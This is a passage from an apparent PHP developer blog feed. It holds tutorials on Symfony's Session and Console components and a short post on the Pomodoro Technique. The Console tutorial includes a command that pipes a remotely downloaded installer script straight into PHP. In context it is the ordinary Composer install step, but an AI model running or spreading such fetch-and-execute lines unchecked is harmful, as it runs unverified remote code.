  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><em>Last reviewed</em>: 22/02/2016.</p>
</blockquote>

<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p>The <a href="http://symfony.com/doc/current/components/http_foundation/introduction.html">Symfony HttpFoundation component</a>
is a library which provides an Object Oriented implementation of the HTTP
protocol: it wraps PHP's variable superglobals (<code>$_POST</code>, <code>$_GET</code>, <code>$_SERVER</code>,
etc) inside objects (<code>Request</code>, <code>Response</code>, <code>Session</code>, etc).</p>

<p>The idea behind it: web applications should receive a Request and return a
Response.</p>

<p>In this article, we'll focus on the Session management which solves many issues
(for example the <a href="https://www.google.com/search?q=php+session+already+started+error">PHP session already started error</a>
nightmare).</p>

<p>This introduction will show you how to use it in a "non-symfony" project:</p>

<ol>
<li><a href="#basics">Basics</a></li>
<li><a href="#examples">Examples</a>

<ul>
<li><a href="#simple-attributes">Simple attributes</a></li>
<li><a href="#deep-attributes">Deep attributes</a></li>
</ul></li>
<li><a href="#going-further">Going further</a>

<ul>
<li><a href="#root-attributes">Root attributes</a></li>
<li><a href="#documentation">Documentation</a></li>
<li><a href="#troubleshooting">Troubleshooting</a></li>
</ul></li>
</ol>

<h2 id="basics">Basics</h2>

<p>In almost any cases, you'll only deal with the following three methods of the
<code>Session</code> object:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\HttpFoundation\Session;

use Symfony\Component\HttpFoundation\Session\SessionBagInterface;

class Session implements SessionInterface, \IteratorAggregate, \Countable
{
    public function registerBag(SessionBagInterface $bag);
    public function start();
    public function getBag($name);
}
</code></pre>

<p>A <code>Bag</code> is a group of attributes stored in the session. Again, in most cases
you'll only deal with the following four methods of the <code>AttributeBag</code> object:</p>

<pre><code class="php">&lt;?php

namespace Symfony\Component\HttpFoundation\Session\Attribute;

class AttributeBag implements AttributeBagInterface, \IteratorAggregate, \Countable
{
    public function __construct($storageKey = '_sf2_attributes');
    public function setName($name);
    public function get($name, $default = null);
    public function set($name, $value);
}
</code></pre>

<p>When using the sessions, you'll generally need to bootstrap things up as follows:</p>

<pre><code class="php">&lt;?php

$session = new Session();

$myAttributeBag = new AttributeBag('my_storage_key');
$myAttributeBag-&gt;setName('some_descriptive_name');
$session-&gt;registerBag($myAttributeBag);

$session-&gt;start();
</code></pre>

<p>The session <strong>MUST</strong> be started by Symfony, and it <em>SHOULD</em> be started after
the bag registrations.</p>

<h2 id="examples">Examples</h2>

<p>Here's some code samples to make things clear.</p>

<h3 id="simple-attributes">Simple attributes</h3>

<p>Let's assume that our session looks like this:</p>

<pre><code class="php">&lt;?php

$_SESSION = array(
    'user' =&gt; array(
        'first_name' =&gt; 'Arthur',
        'last_name' =&gt; 'Dent',
    ),
);
</code></pre>

<p>Here's the bootstrap code we need:</p>

<pre><code class="php">&lt;?php

$session = new Session();

$userAttributeBag = new AttributeBag('user');
$session-&gt;registerBag($userAttributeBag);

$session-&gt;start();
</code></pre>

<p>The equivalent to:</p>

<pre><code class="php">&lt;?php

$firstName = 'Ford';
if (isset($_SESSION['user']['first_name'])) {
    $firstName = $_SESSION['user']['first_name'];
}
$_SESSION['user']['last_name'] = 'Prefect';
</code></pre>

<p>Would be:</p>

<pre><code class="php">&lt;?php

$userAttributeBag = $session-&gt;getBag('user');

$firstName = $userAttributeBag-&gt;get('first_name', 'Ford');
$userAttributeBag-&gt;set('last_name', 'Prefect');
</code></pre>

<h3 id="deep-attributes">Deep attributes</h3>

<p>Now, let's assume we have a session which has deep attributes:</p>

<pre><code class="php">&lt;?php

$_SESSION = array(
    'authentication' =&gt; array(
        'tokens' =&gt; array(
            'github' =&gt; 'A45E96F',
            'twitter' =&gt; '11AEBC980D456E4EF',
        ),
    ),
);
</code></pre>

<p>Here's the bootstrap code we need:</p>

<pre><code class="php">&lt;?php

$session = new Session();

$authenticationAttributeBag = new NamespacedAttributeBag('authentication');
$session-&gt;registerBag($authenticationAttributeBag);

$session-&gt;start();
</code></pre>

<p>The equivalent to:</p>

<pre><code class="php">&lt;?php

$_SESSION['authentication']['tokens']['github'] = 'AEB558F02C3B346';
</code></pre>

<p>Would be:</p>

<pre><code class="php">&lt;?php

$authenticationAttributeBag = $session-&gt;getBag($authenticationAttributeBag);

$authenticationAttributeBag-&gt;set('tokens/github', 'AEB558F02C3B346');
</code></pre>

<h2 id="going-further">Going further</h2>

<p>The <code>Session</code> has been designed to contain a group of attribute bags. But when
working with legacy sessions, you might have to access attributes which are
located at the root of the session. Here's how to extend the <code>Session</code> to allow
this.</p>

<h3 id="root-attributes">Root attributes</h3>

<p>A root attribute might look like:</p>

<pre><code class="php">&lt;?php

$_SESSION = array(
    'attribute' =&gt; 'value',
);
</code></pre>

<p>You need to create your own kind of <code>Bag</code>:</p>

<pre><code class="php">&lt;?php

namespace Acme\Session;

use Symfony\Component\HttpFoundation\Session\SessionBagInterface;

class RootAttributeBag implements SessionBagInterface
{
    private $name = 'single_attribute';

    /** @var string */
    private $storageKey;

    /** @var mixed */
    private $attribute;

    public function __construct($storageKey)
    {
        $this-&gt;storageKey = $storageKey;
    }

    /** {@inheritdoc} */
    public function getName()
    {
        return $this-&gt;name;
    }

    public function setName($name)
    {
        $this-&gt;name = $name;
    }

    /** {@inheritdoc} */
    public function initialize(array &amp;$array)
    {
        $attribute = !empty($array) ? $array[0] : null;
        $this-&gt;attribute = &amp;$attribute;
    }

    /** {@inheritdoc} */
    public function getStorageKey()
    {
        return $this-&gt;storageKey;
    }

    /** {@inheritdoc} */
    public function clear()
    {
        $this-&gt;attribute = null;
    }

    public function get()
    {
        return $this-&gt;attribute;
    }

    public function set($value)
    {
        $this-&gt;attribute = $value;
    }
}
</code></pre>

<p>The <code>storage key</code> will be directly the attribute's key.</p>

<p>We also need to hack a <code>Storage</code> class which supports our <code>Bag</code>:</p>

<pre><code class="php">&lt;?php

namespace Acme\Session;

use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;

class LegacySessionStorage extends NativeSessionStorage
{
    /** {@inheritdoc} */
    protected function loadSession(array &amp;$session = null)
    {
        if (null === $session) {
            $session = &amp;$_SESSION;
        }

        $bags = array_merge($this-&gt;bags, array($this-&gt;metadataBag));

        foreach ($bags as $bag) {
            $key = $bag-&gt;getStorageKey();
            // We cast $_SESSION[$key] to an array, because of the SessionBagInterface::initialize() signature
            $session[$key] = isset($session[$key]) ? (array) $session[$key] : array();
            $bag-&gt;initialize($session[$key]);
        }

        $this-&gt;started = true;
        $this-&gt;closed = false;
    }
}
</code></pre>

<p>Finally, we'll need the following bootstrap code:</p>

<pre><code class="php">&lt;?php

use Acme\Session\LegacySessionStorage;
use Acme\Session\RootAttributeBag;
use Symfony\Component\HttpFoundation\Session\Session;

$sessionStorage = new LegacySessionStorage();
$session = new Session($sessionStorage);

// before: $_SESSION['attribute']
$legacyBag = new RootAttributeBag('attribute');
$legacyBag-&gt;setName('legacy');

// after: $session-&gt;getBag('legacy')-&gt;get()
$session-&gt;registerBag($legacyBag);
</code></pre>

<h3 id="documentation">Documentation</h3>

<p><a href="http://symfony.com/doc/current/components/http_foundation/sessions.html">The official documentation</a>
provides useful information about how the session use it.
For example it explains <a href="http://symfony.com/doc/current/components/http_foundation/sessions.html#flash-messages">how to manage flash messages</a>.</p>

<p>It also explains <a href="http://symfony.com/doc/current/components/http_foundation/session_configuration.html">how the session works behind the scene</a>
with useful tips on how to write the session in a database.</p>

<p><a href="http://symfony.com/doc/current/cookbook/session/index.html">Some cookbooks</a> are
also available.
You can find for instance one describing how to use
<a href="http://symfony.com/doc/current/cookbook/session/proxy_examples.html">session proxy</a>
which is useful if you want to encrypt the session data or to make it read
only.</p>

<h3 id="troubleshooting">Troubleshooting</h3>

<p>The common cases of problems encountered are due to the fact that the session
was started before Symfony2 did.</p>

<p>To fix this, check in your <code>php.ini</code> that the <code>session.auto_start</code> option is set
to <code>0</code> (its default value).</p>

<p>If the session isn't auto started, it means that the application is starting the
session itself. If you cannot prevent this, use
<a href="https://github.com/symfony/HttpFoundation/blob/master/Session/Storage/PhpBridgeSessionStorage.php"><code>PhpBridgeSessionStorage</code></a>
with
<a href="https://github.com/symfony/HttpFoundation/blob/master/Session/Storage/Handler/NativeFileSessionHandler.php"><code>NativeFileSessionHandler</code></a>:</p>

<pre><code class="php">&lt;?php

use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler;
use Symfony\Component\HttpFoundation\Session\Storage\PhpBridgeSessionStorage;

$sessionHandler = new NativeFileSessionHandler();
$sessionStorage = new PhpBridgeSessionStorage($sessionHandler);
$session = new Session($sessionStorage);
</code></pre>

<p>Another trouble you can encounter: you register some bags but they're always
empty, even though the <code>$_SESSION</code> contains the targeted values.
This would be because you register your bags after starting the session: if you
can't do otherwise then simply call <code>$session-&gt;migrate()</code> after your bag
registration, this will reload the values.</p>

<p>Finally when doing AJAX request you might notice slow performances, or non
persistence of the data. This might be caused by a
<a href="http://blog.alterphp.com/2012/08/how-to-deal-with-asynchronous-request.html">session locking mechanism</a>
which can be solved like this by saving manually the session:</p>

<pre><code class="php">&lt;?php

$session-&gt;save();
// session_write_close(); // Only required before Symfony 2.1
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>By wrapping <code>$_SESSION</code> and <code>session_*()</code> functions, <code>Session</code> allows you to
make your code more testable
(<a href="http://symfony.com/doc/current/components/http_foundation/session_testing.html">you can mock it</a>)
and to solve starting session issues (just make sure to be the first to start
it).</p>

<p>It's divided into <code>AttributeBag</code> which are arrays of parameters: this allows you
to organize your session by namespaces.</p>

<p>I hope you found some useful tips in this article, if you have any comments or
questions don't be shy and drop me a line on
<a href="https://twitter.com/epiloic">Twitter</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Pomodoro: manage your breaks, improve your focus]]></title>
            <link href="/2014/04/16/pomodoro-manage-your-breaks-improve-your-focus.html"/>
            <updated>2014-04-16T00:00:00+01:00</updated>
            <id>/2014/04/16/pomodoro-manage-your-breaks-improve-your-focus.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p><a href="http://pomodorotechnique.com/">The Pomodoro Technique®</a> helps you to manage
your time in order to become more efficient with the following schema:</p>

<ol>
<li>work and focus for 25 minutes</li>
<li>then have a 5 minutes break from your computer</li>
<li>repeat until you've reached 4 work &amp; 3 break sessions</li>
<li>have a 20 minutes break from your computer</li>
</ol>

<p>All you need is a pomodoro timer (I use
<a href="https://launchpad.net/tomate">tomate on Ubuntu</a>), and a strong will to avoid
distractions.</p>

<h2 id="benefits">Benefits</h2>

<p>Breaks have been proven to improve productivity and mental well-being. By taking
them regurarly, you should be fresh from monday morning to friday afternoon!</p>

<h2 id="drawbacks">Drawbacks</h2>

<p>One of the points in the pomodoro technique is to avoid any disturbance. But
when working in a team you cannot ignore your teamates for 25 minutes: what if
they're stucked and need your help?</p>

<h2 id="tips">Tips</h2>

<p>You can use it for any type of work. Just keep in mind that breaks should
completly cut you off from your work: if you're a developer, then you should
walk away from the computer (do some physical exercise, or have a non work
related talk with your colleagues).</p>

<h2 id="conclusion">Conclusion</h2>

<p>Have 4 work sessions of 25 minutes, interspersed by 3 break sessions of 5
minutes. Then have a 20 minutes break, and start again!</p>

<p>This will help you to stay focused the whole day while preventing burnout.</p>

<p>I hope you found this article interesting. If you have any comments or
questions, don't be shy and drop me line on
<a href="https://twitter.com/epiloic">Twitter</a> ;) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony2 Console component, by example]]></title>
            <link href="/2014/04/09/sf2-console-component-by-example.html"/>
            <updated>2014-04-09T00:00:00+01:00</updated>
            <id>/2014/04/09/sf2-console-component-by-example.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This article has been re-written - see
  <a href="/2016/03/02/ultimate-symfony-console.html">The Ultimate Developer Guide to Symfony - Console</a></p>
</blockquote>

<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

<p><a href="http://symfony.com/">Symfony2</a> is a set of libraries which help you in your
everyday tasks. You can even stack them together and create a framework with it:</p>

<ul>
<li><a href="https://github.com/symfony/symfony-standard">Symfony standard edition</a></li>
<li><a href="https://github.com/gnugat/symfony-empty">Symfony empty edition</a></li>
<li><a href="http://silex.sensiolabs.org/">Silex</a></li>
</ul>

<p>Many frameworks already use a lot of components from Symfony2:</p>

<ul>
<li><a href="http://laravel.com/">Laravel</a></li>
<li><a href="https://drupal.org/">Drupal</a></li>
<li><a href="http://ez.no/">eZ Publish</a></li>
<li><a href="http://phpunit.de/">PHPUnit</a></li>
<li><a href="https://www.phpbb.com/">phpBB</a></li>
<li><a href="https://getcomposer.org/">Composer</a></li>
</ul>

<p>In this article, we'll see the
<a href="http://symfony.com/doc/master/components/console/introduction.html">Console Component</a>,
which allows you to build Command Line Interface (CLI) applications. Symfony 2.5
will be released in may 2014, with great new features for the Console, so I'll
speak about this version here.</p>

<ul>
<li><a href="#introduction">Introduction</a>

<ul>
<li><a href="#application">Application</a></li>
<li><a href="#command">Command</a></li>
<li><a href="#input">Input</a></li>
<li><a href="#output">Output</a></li>
<li><a href="#consolelogger">ConsoleLogger</a></li>
</ul></li>
<li><a href="#standalone-example">Standalone example</a>

<ul>
<li><a href="#creating-the-application">Creating the application</a></li>
<li><a href="#creating-the-command">Creating the command</a></li>
<li><a href="#registering-the-command">Registering the command</a></li>
<li><a href="#using-the-filesystem-component">Using the Filesystem component</a></li>
<li><a href="#thin-controller-many-small-services">Thin controller, many small services</a></li>
<li><a href="#registering-the-services">Registering the services</a></li>
</ul></li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>This component allows you to focus on one thing: creating commands. It takes
care of all the coloring output, input gathering and command containing stuff.</p>

<p>The big picture is: you have an <code>Application</code> which contains a set of
<code>Command</code>s. When ran, the <code>Application</code> will create an <code>Input</code> object which
contains <code>Option</code>s and <code>Argument</code>s provided by the user, and will feed it to
the right <code>Command</code>.</p>

<p>The code being the best documentation, we'll now see the strict minimum classes
you should know, with the methods you'll likely use.</p>

<h3 id="application">Application</h3>

<p>All you need to know about the <code>Application</code> is this:</p>

<pre><code>&lt;?php

namespace Symfony\Component\Console;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class Application
{
    public function __construct($name = 'UNKNOWN', $version = 'UNKNOWN');
    public function add(Command $command);
    public function setDefaultCommand($commandName); // New in 2.5!
    public function run(InputInterface $input = null, OutputInterface $output = null);
}
</code></pre>

<p>Minimum usage:</p>

<pre><code>#!/usr/bin/env php
&lt;?php

use Symfony\Component\Console\Application;

$application = new Application();
$application-&gt;run();
</code></pre>

<p>By running this script, you should be able to see a colorful output which lists
the available commands (<code>list</code> is the default command, and a <code>help</code> is also
available).</p>

<h3 id="command">Command</h3>

<p>The <code>Command</code> class is the controller of your CLI application:</p>

<pre><code>&lt;?php

namespace Symfony\Component\Console\Command;

use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

class Command
{
    protected function configure();
    protected function execute(InputInterface $input, OutputInterface $output);
    protected function interact(InputInterface $input, OutputInterface $output);

    // To be called in configure
    public function setName($name);
    public function addArgument($name, $mode = null, $description = '', $default = null);
    public function addOption($name, $shortcut = null, $mode = null, $description = '', $default = null);
    public function setDescription($description);
    public function setHelp($help);
    public function setAliases($aliases);
}
</code></pre>

<p>Basically you create a class which extends <code>Command</code>. You need to implement 2
methods:</p>

<ul>
<li><code>configure</code>: the configuration of the command's name, arguments, options, etc</li>
<li><code>execute</code>: where you process the input, call your services and write to the
output</li>
</ul>

<p>The <code>interact</code> method is called before the <code>execute</code> one: it allows you to ask
questions to the user to set more input arguments and options.</p>

<p>Here's my stand on arguments and options modes:</p>

<ul>
<li>an argument should always be required (<code>InputArgument::REQUIRED</code>)</li>
<li>a flag is an option without value (<code>InputOption::VALUE_NONE</code>)</li>
<li>an option should always have a required value (<code>InputOption::VALUE_REQUIRED</code>),
don't forget to provide a default one</li>
</ul>

<h3 id="input">Input</h3>

<p>The container of the arguments and options given by the user:</p>

<pre><code>&lt;?php

namespace Symfony\Component\Console\Input;

interface InputInterface
{
    public function getArgument($name);
    public function getOption($name);
}
</code></pre>

<p>The <code>Application</code> validates a part of the input: it checks if the command
actually accepts the given arguments and options (is the value required? Does
the <code>hello:world</code> command have a <code>--yell</code> option? etc), but you still need to
validate the input against your business rules (the <code>--number</code> option should
be an integer, the <code>name</code> argument should be escaped to avoid SQL injection,
etc).</p>

<h3 id="output">Output</h3>

<p>A convenient object which allows you to write on the console output:</p>

<pre><code>&lt;?php

namespace Symfony\Component\Console\Output;

abstract class Output implements OutputInterface
{
    public function writeln($messages, $type = self::OUTPUT_NORMAL);
}
</code></pre>

<p>The <code>writeln</code> method allows you to write a new line (with a newline character at
the end). If the given <code>message</code> is an array, it will print each elements on a
new line.</p>

<p>The tags allow you to color some parts:</p>

<ul>
<li>green text for informative messages (usage example: <code>&lt;info&gt;foo&lt;/info&gt;</code>)</li>
<li>yellow text for comments (usage example: <code>&lt;comment&gt;foo&lt;/comment&gt;</code>)</li>
<li>black text on a cyan background for questions (usage example: <code>&lt;question&gt;foo&lt;/question&gt;</code>)</li>
<li>white text on a red background for errors (usage example: <code>&lt;error&gt;foo&lt;/error&gt;</code>)</li>
</ul>

<h3 id="consolelogger">ConsoleLogger</h3>

<p>Another brand new class from the version 2.5:</p>

<pre><code>&lt;?php

namespace Symfony\Component\Console\Logger;

use Psr\Log\AbstractLogger;
use Symfony\Component\Console\Output\OutputInterface;

class ConsoleLogger extends AbstractLogger
{
    public function __construct(
        OutputInterface $output,
        array $verbosityLevelMap = array(),
        array $formatLevelMap = array()
    );

    public function log($level, $message, array $context = array());
}
</code></pre>

<p>As you can see, it uses the <code>OutputInterface</code> provided by the <code>Application</code>.
You should inject this logger into your services, this will allow them to write
messages on the standard output of the console while keeping them decoupled from
this component (so you can use these services in a web environment).</p>

<p>Oh, and the good news is: it colors the output and decides whether or not to
print it depending on the verbosity and level of log! An error message would
always be printed in red, an informative message would be printed in green if
you pass the <code>-vv</code> option.</p>

<h2 id="standalone-example">Standalone example</h2>

<p>Just like any other component, the Console can be used as a standalone library.</p>

<p>In this example, we'll create a tool which will create a <code>LICENSE</code> file, just
like <a href="https://github.com/gnugat/fossil">fossil</a> (the <a href="/2014/01/15/bootstrap-markdown-files-of-your-FOSS-project.html">bootstraper of markdown files for your FOSS projetcs</a>).</p>

<h3 id="creating-the-application">Creating the application</h3>

<p>To begin, let's install the component using <a href="https://getcomposer.org/">Composer</a>:</p>

<pre><code>$ curl -sS https://getcomposer.org/installer | php # Downloading composer
$ ./composer.phar require "symfony/console:~2.5@dev"
</code></pre>

<p>Then create an empty application:</p>

<pre><code>#!/usr/bin/env php
&lt;?php
// File: fossil

require __DIR__.'/vendor/autoload.php';

use Symfony\Component\Console\Application;

$application = new Application('Fossil', '2.0.0');
$application-&gt;run();
</code></pre>

<h3 id="creating-the-command">Creating the command</h3>

<p>Our command has two arguments:</p>

<ul>
<li>the name for the copyright</li>
<li>the year for the copyright</li>
</ul>

<p>It can also take the path of the project as an option (we'll provide the
current directory as default value).</p>

<p>Let's create it:</p>

<pre><code>&lt;?php
// File: src/Gnugat/Fossil/LicenseCommand.php

namespace Gnugat\Fossil;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class LicenseCommand extends Command
{
    protected function configure()
    {
        $this-&gt;setName('license');
        $this-&gt;setDescription('Bootstraps the license file of your project');

        $this-&gt;addArgument('author', InputArgument::REQUIRED);
        $this-&gt;addArgument('year', InputArgument::REQUIRED);

        $this-&gt;addOption('path', 'p', InputOption::VALUE_REQUIRED, '', getcwd());
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
    }
}
</code></pre>

<h3 id="registering-the-command">Registering the command</h3>

<p>Our command doesn't do anything yet, but we can already register it in our
application:</p>

<pre><code>#!/usr/bin/env php
&lt;?php
// File: fossil

require __DIR__.'/vendor/autoload.php';

use Symfony\Component\Console\Application;
use Gnugat\Fossil\LicenseCommand;

$command = new LicenseCommand();

$application = new Application('Fossil', '2.0.0');
$application-&gt;add($command);
$application-&gt;run();
</code></pre>

<p>In order for it to run, you'll need to register the namespace in the autoloader
by editing the <code>composer.json</code> file at the root of the project:</p>

<pre><code>{
    "require": {
        "symfony/console": "~2.5@dev"
    },
    "autoload": {
        "psr-4": { "": "src" }
    }
}
</code></pre>

<p>Then you need to run <code>./composer.phar update</code> to update the configuration.</p>

<h3 id="using-the-filesystem-component">Using the Filesystem component</h3>

<p>In <code>fossil</code>, <a href="https://github.com/gnugat/fossil/tree/master/skeletons">templates</a>
are retrieved using the
<a href="http://symfony.com/doc/current/components/finder.html">Finder component</a>, their
values are replaced using <a href="http://twig.sensiolabs.org/">Twig</a> and written using the
<a href="http://symfony.com/doc/current/components/filesystem.html">Filesystem component</a>.</p>

<p>In order to keep this article short, we'll:</p>

<ul>
<li>use a fictive license which requires only the copyright line</li>
<li>simply store the <code>LICENSE</code> template in the command</li>
<li>inject the values using <code>implode</code></li>
</ul>

<p>This means that you have to install the new component:</p>

<pre><code>$ ./composer.phar require "symfony/filesystem:~2.4"
</code></pre>

<p>And then you need to fill the <code>execute</code> method:</p>

<pre><code>&lt;?php
// File: src/Gnugat/Fossil/LicenseCommand.php

namespace Gnugat\Fossil;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Filesystem\Filesystem;

class LicenseCommand extends Command
{
    // configure method...

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $path = $input-&gt;getOption('path').'/LICENSE';
        $license = implode(' ', array(
            'Copyright (c)',
            $input-&gt;getArgument('author'),
            $input-&gt;getArgument('year'),
        ));

        $filesystem = new Filesystem();
        $filesystem-&gt;dumpFile($path, $license.PHP_EOL);

        $output-&gt;writeln(sprintf('Created the file %s', $path));
    }
}
</code></pre>

<p>Now running <code>./fossil license "Loïc Chardonnet" "2013-2014" -p="/tmp"</code> will
output the message "Created the file /tmp/LICENSE", which should be what really
happened.</p>

<h3 id="thin-controller%2C-many-small-services">Thin controller, many small services</h3>

<p>I'm not a big fan of putting logic in my commands, so generally I use services
to do the actual job:</p>

<pre><code>&lt;?php
// File src/Gnugat/Fossil/DocumentationWriter.php

namespace Gnugat\Fossil;

use Symfony\Component\Filesystem\Filesystem;
use Psr\Log\LoggerInterface;

class DocumentationWriter
{
    private $filesystem;
    private $logger;

    public function __construct(Filesystem $filesystem, LoggerInterface $logger)
    {
        $this-&gt;filesystem = $filesystem;
        $this-&gt;logger = $logger;
    }

    public function write($path, $content)
    {
        $this-&gt;filesystem-&gt;dumpFile($path, $content);
        $this-&gt;logger-&gt;notice(sprintf('Created file %s', $path));
    }
}
</code></pre>

<p>As you can see, the <code>DocumentationWriter</code> isn't very big. It might seem
overkill, but now it's easy to write tests which will check if the <code>LICENSE</code>
file has been created. Also, in <code>fossil</code> the class does a bit more work: it
checks if the file already exists, and takes a "force overwrite" option into
account.</p>

<p>You'll also notice that we inject a logger to notice the user of what happens.
We need to install the PSR-3 logger interface:</p>

<pre><code>$ composer require "psr/log:~1.0"
</code></pre>

<p>Our command will now be much thinner, just like any controller should be (MVC
can also be applied in CLI):</p>

<pre><code>&lt;?php
// File: src/Gnugat/Fossil/LicenseCommand.php

namespace Gnugat\Fossil;

use Gnugat\Fossil\DocumentationWriter;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Logger\ConsoleLogger;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Filesystem\Filesystem;

class LicenseCommand extends Command
{
    // configure method...

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $path = $input-&gt;getOption('path').'/LICENSE';
        $license = implode(' ', array(
            'Copyright (c)',
            $input-&gt;getArgument('author'),
            $input-&gt;getArgument('year'),
        ));

        $filesystem = new Filesystem();
        $logger = new ConsoleLogger($output);
        $documentationWriter = new DocumentationWriter($filesystem, $logger);

        $documentationWriter-&gt;write($path, $license.PHP_EOL);
    }
}
</code></pre>

<p>To be fair, our command is longer. But it <strong>is</strong> thinner as it now has less
responsibilities:</p>

<ul>
<li>it retrieves the input</li>
<li>creates the dependencies</li>
<li>calls the services</li>
</ul>

<p>If you run again <code>./fossil license "Loïc Chardonnet" "2013-2014" -p="/tmp"</code>,
you won't see anything: <code>ConsoleLogger</code> hides informative messages by default.
You need to pass the verbose option to see the message:</p>

<pre><code>$ ./fossil license -v "Loïc Chardonnet" "2013-2014" -p="/tmp"
</code></pre>

<h3 id="registering-the-services">Registering the services</h3>

<p>The dependency creation isn't a responsibility a controller should have. We'll
delegate this to the
<a href="http://symfony.com/doc/current/components/dependency_injection/introduction.html">Dependency Injection component</a>:</p>

<pre><code>$ ./composer.phar require "symfony/dependency-injection:~2.4"
</code></pre>

<p>We'll also install the
<a href="http://symfony.com/doc/current/components/config/introduction.html">Config component</a>:</p>

<pre><code>$ ./composer.phar require "symfony/config:~2.4"
</code></pre>

<p>If you don't know yet this component, go read
<a href="/2014/01/29/sf2-di-component-by-example.html">this helpful article</a>.</p>

<p>We'll create a XML file to configure the registration of our services:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;

&lt;!-- File: config/services.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;services&gt;
        &lt;service id="symfony.application"
            class="Symfony\Component\Console\Application"&gt;
            &lt;argument key="name"&gt;Fossil&lt;/argument&gt;
            &lt;argument key="version"&gt;2.0.0&lt;/argument&gt;
            &lt;call method="add"&gt;
                 &lt;argument type="service" id="fossil.license_command" /&gt;
            &lt;/call&gt;
        &lt;/service&gt;

        &lt;service id="fossil.license_command" class="Gnugat\Fossil\LicenseCommand"&gt;
            &lt;argument type="service" id="fossil.documentation_writer" /&gt;
        &lt;/service&gt;

        &lt;service id="fossil.documentation_writer" class="Gnugat\Fossil\DocumentationWriter"&gt;
            &lt;argument type="service" id="symfony.filesystem" /&gt;
            &lt;argument type="service" id="symfony.console_logger" /&gt;
        &lt;/service&gt;

        &lt;service id="symfony.filesystem" class="Symfony\Component\Filesystem\Filesystem"&gt;
        &lt;/service&gt;

        &lt;service id="symfony.console_logger" class="Symfony\Component\Console\Logger\ConsoleLogger"&gt;
            &lt;argument type="service" id="symfony.console_output" /&gt;
        &lt;/service&gt;

        &lt;service id="symfony.console_output"
            class="Symfony\Component\Console\Output\ConsoleOutput"&gt;
        &lt;/service&gt;
    &lt;/services&gt;
&lt;/container&gt;
</code></pre>

<p>As you can see, I've delegated <strong>every</strong> construction to the DIC (Dependency
Injection Container), even the construction of the application. Now the command
looks like this:</p>

<pre><code>    &lt;?php
// File: src/Gnugat/Fossil/LicenseCommand.php

namespace Gnugat\Fossil;

use Gnugat\Fossil\DocumentationWriter;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

class LicenseCommand extends Command
{
    private $documentationWriter;

    public function __construct(DocumentationWriter $documentationWriter)
    {
        $this-&gt;documentationWriter = $documentationWriter;

        parent::__construct();
    }

    protected function configure()
    {
        $this-&gt;setName('license');
        $this-&gt;setDescription('Bootstraps the license file of your project');

        $this-&gt;addArgument('author', InputArgument::REQUIRED);
        $this-&gt;addArgument('year', InputArgument::REQUIRED);

        $this-&gt;addOption('path', 'p', InputOption::VALUE_REQUIRED, '', getcwd());
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $path = $input-&gt;getOption('path').'/LICENSE';
        $license = implode(' ', array(
            'Copyright (c)',
            $input-&gt;getArgument('author'),
            $input-&gt;getArgument('year'),
        ));

        $this-&gt;documentationWriter-&gt;write($path, $license.PHP_EOL);
    }
}
</code></pre>

<p>And the console now contains the DIC initialization:</p>

<pre><code>#!/usr/bin/env php
&lt;?php
// File: fossil

use Symfony\Component\Config\FileLocator;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;

require __DIR__.'/vendor/autoload.php';

$container = new ContainerBuilder();
$loader = new XmlFileLoader($container, new FileLocator(__DIR__.'/config'));
$loader-&gt;load('services.xml');

$output = $container-&gt;get('symfony.console_output');

$application = $container-&gt;get('symfony.application');
$application-&gt;run(null, $output);
</code></pre>

<p>And voilà! You now know how to create CLI applications :) .</p>

<h2 id="conclusion">Conclusion</h2>

<p>The Console component allows you to create CLI applications. The commands are a
thin layer which gathers the input and call services. Those services can then
output messages to the user using a special kind of logger.</p>

<p>Although this article was a bit long, I might have missed something here, so
if you have any feedbacks/questions, be sure to contact me on
<a href="https://twitter.com/epiloic">Twitter</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Tests cheat sheet]]></title>
            <link href="/2014/04/02/tests-cheat-sheet.html"/>
            <updated>2014-04-02T00:00:00+01:00</updated>
            <id>/2014/04/02/tests-cheat-sheet.html</id>
            <content type="html"><![CDATA[<p><a href="#conclusion">TL;DR: jump to the conclusion</a>.</p>

